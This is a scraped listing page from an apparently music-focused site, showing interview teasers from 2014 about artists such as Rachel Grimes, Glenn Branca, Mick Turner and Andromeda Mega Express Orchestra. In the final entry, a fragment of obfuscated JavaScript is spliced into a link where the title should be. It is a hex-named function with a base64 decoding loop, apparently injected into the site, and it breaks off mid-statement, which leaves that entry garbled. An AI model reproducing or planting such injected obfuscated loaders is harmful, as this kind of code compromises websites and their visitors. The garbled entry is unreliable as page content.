Latest Interviews

  • Interview with

    Divan Rouge

    Divan Rouge is the debut self-entitled collaboration between audiovisual artist/composer Ulises Labaronnie and Klaas von Karlos of A/V collective ReVerse Bullets. The creation of this group and their album emerges from a communication in energies via four countries – France, Argentina, Germany, and the USA. Divan Rouge is a convergence of mystery, magic, blood, and astral planes. The two sonic architects, Klaas ...

    On 1. October 2014 / By
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    Magda Mayas

    Magda Mayas is a pianist living in Berlin.
 Developing a vocabulary utilizing both the inside as well as the exterior parts of the piano, using preparations and objects, she explores textural, linear and fast moving sound collage.
Alongside the piano, Mayas has been performing on a Clavinet/Pianet, an electric piano from the 60s with strings and metal chimes, where she engages with noise ...

    On 1. October 2014 / By
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    Rachel Grimes

    Heralded “one of American independent music’s few truly inspired technicians” by WIRE magazine and included among NPR’s “100 Composers under 40, ” Rachel Grimes is a pianist, composer, and arranger based in Kentucky. She is widely recognized as the composer and pianist in the ground-breaking chamber ensemble Rachel’s, with whom she toured and released six albums including the celebrated Music for Egon ...

    On 25. September 2014 / By
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    DJ Ipek

    The Berlin-Istanbul-based turkish-german dj/producer/compiler İpek İpekçioğlu influenced with her eclectic music and characteristic mixes the multilayered Berlin club scene during the 90ies. Widespread magazine Zitty acknowledged exactly this when they ranked DJ İpek İpekçioğlu as one of Berlin’s most important cultural contributors. Berlin based queer DJ has developed herself into an exclusive Berlin export article, visiting festivals and clubs all over the ...

    On 23. September 2014 / By
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    Glenn Branca

    Glenn Branca (born October 6, 1948 in Harrisburg, Pennsylvania) is an American avant-garde composer and guitarist known for his use of volume, alternative guitar tunings, repetition, droning, and the harmonic series. In 2008, he was awarded a grant from the Foundation for Contemporary Arts Grants to Artists Award as well as a CAPS grant in 1983, an award from the National Endowment ...

    On 23. September 2014 / By
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    Mick Turner

    Mick Turner is an Australian  artist and musician, known as guitarist with acclaimed instrumental group Dirty Three. He is also a seminal figure in  Australian 1980’s post punk being a member of  Venom P Stinger, Sick Things and Fungus Brains. He has also lent his unique musical prose upon recordings by Catpower, Bonnie Prince Billy and Nick Cave . Mick Turner has ...

    On 17. September 2014 / By
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    Daniel Bachman

    Born in Fredericksburg, Virginia, Daniel Bachman has amazed audiences with his highly skilled abilities at 6 string guitar and lap guitar. His self invented genre “Psychedelic Appalachia” has slowly grown into a legitimate sound that the world is noticing. His latest album “Orange Co. Serenade” has given him the opportunity to travel across the world and in some cases in places where ...

    On 10. September 2014 / By
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    Lawrence Arabia

    Lawrence Arabia is the musical guise of New Zealand artist James Milne. In 2006, Lawrence Arabia released his self titled debut album and the debut album his band The Reduction Agents, The Dance Reduction Agents. Both albums were nominated for several bNet awards, New Zealand ‘s public voted alternative radio awards, and Chant Darling won the inaugural Taite Music Prize in 2010. ...

    On 9. September 2014 / By
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    Eyedress

    Eyedress is Idris Vicuna a young Filipino fellow that has taken over the reigns from Freddy Aguilar as the best Filipino music artist in the last 30 years. For those of you who don’t know Freddy Aguilar don’t worry you don’t have to but what you should take notice of is Idris’s project “Eyedress” that portrays a new insight in electronica in ...

    On 8. September 2014 / By
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    BIINDS

    BIINDS is a collaborative audio/visual project created by Nicolo Sommer (vocals, keyboards, guitar and bass) and Christy Taylor (vocalist, gadgets and field recordings) with a large number of guest collaborators throughout the band s’ lifetime. They are based all over in Germany, the UK, the USA and Peru bringing an international viewpoint on music and music making. This transformative band changes throughout ...

    On 8. September 2014 / By
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    Kreidler / Andreas Reihse

    Andreas Reihse originally comes from Düsseldorf but has made a name for himself in Berlin and the world. For over 20 years now, his band Kreidler have become an institution for electronic music and still brings the crowds to watch the masters at work. Their music has transcended a number of genres from spoken word poetry to dub/electronic and can also be ...

    On 8. September 2014 / By
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    Pony Asteroid

    Virgin nature and big cities, heavens and hells, glory and death, music and silence… We all love ups and downs, it makes our hearts beat stronger. Facts Placebo chose Pony Asteroid as their supporting band . The band is working on their debut album with Grammy-winning producer Reuven Amiel in Miami. While the album is being finished some of the members moved ...

    On 6. September 2014 / By
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    Miles Whittaker / Demdike Stare

    Demdike Stare is a collaboration between Sean Canty and Miles Whittaker, two childhood friends from the North of England with voracious appetites for record collecting. After years spent mining vinyl bins for source material, the pair started working in earnest back in 2008, re-appropriating sounds they had spent a lifetime cataloguing into weird and immersive music of their own. Demdike have so ...

    On 3. September 2014 / By
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    Ela Stiles

    Over the years, Ela Stiles has built a name for herself as an adept musician in Sydney’s often strange and varied music scene. Moving beyond her work in local favourites Songs, she became a driving force in Melbourne outfit Bushwalking, releasing two records with the band while still based in Sydney and working on numerous projects. Now, Ela has taken another hairpin ...

    On 3. September 2014 / By
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    function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.cha/" rel="bookmark">Daniel Glatzel / Andromeda Mega Express Orchestra

    Established in 2006, Berlin-based Andromeda Mega Express Orchestra have released three albums so far and toured the world extensively, but – more importantly – they’ve grown to become a proper “working band “: More than just another ensemble, it’s a true and tight-knit family affair comprised of 18 musicians from various backgrounds, a genre-defying band that remains unpredictable and willing to push ...

    On 3. September 2014 / By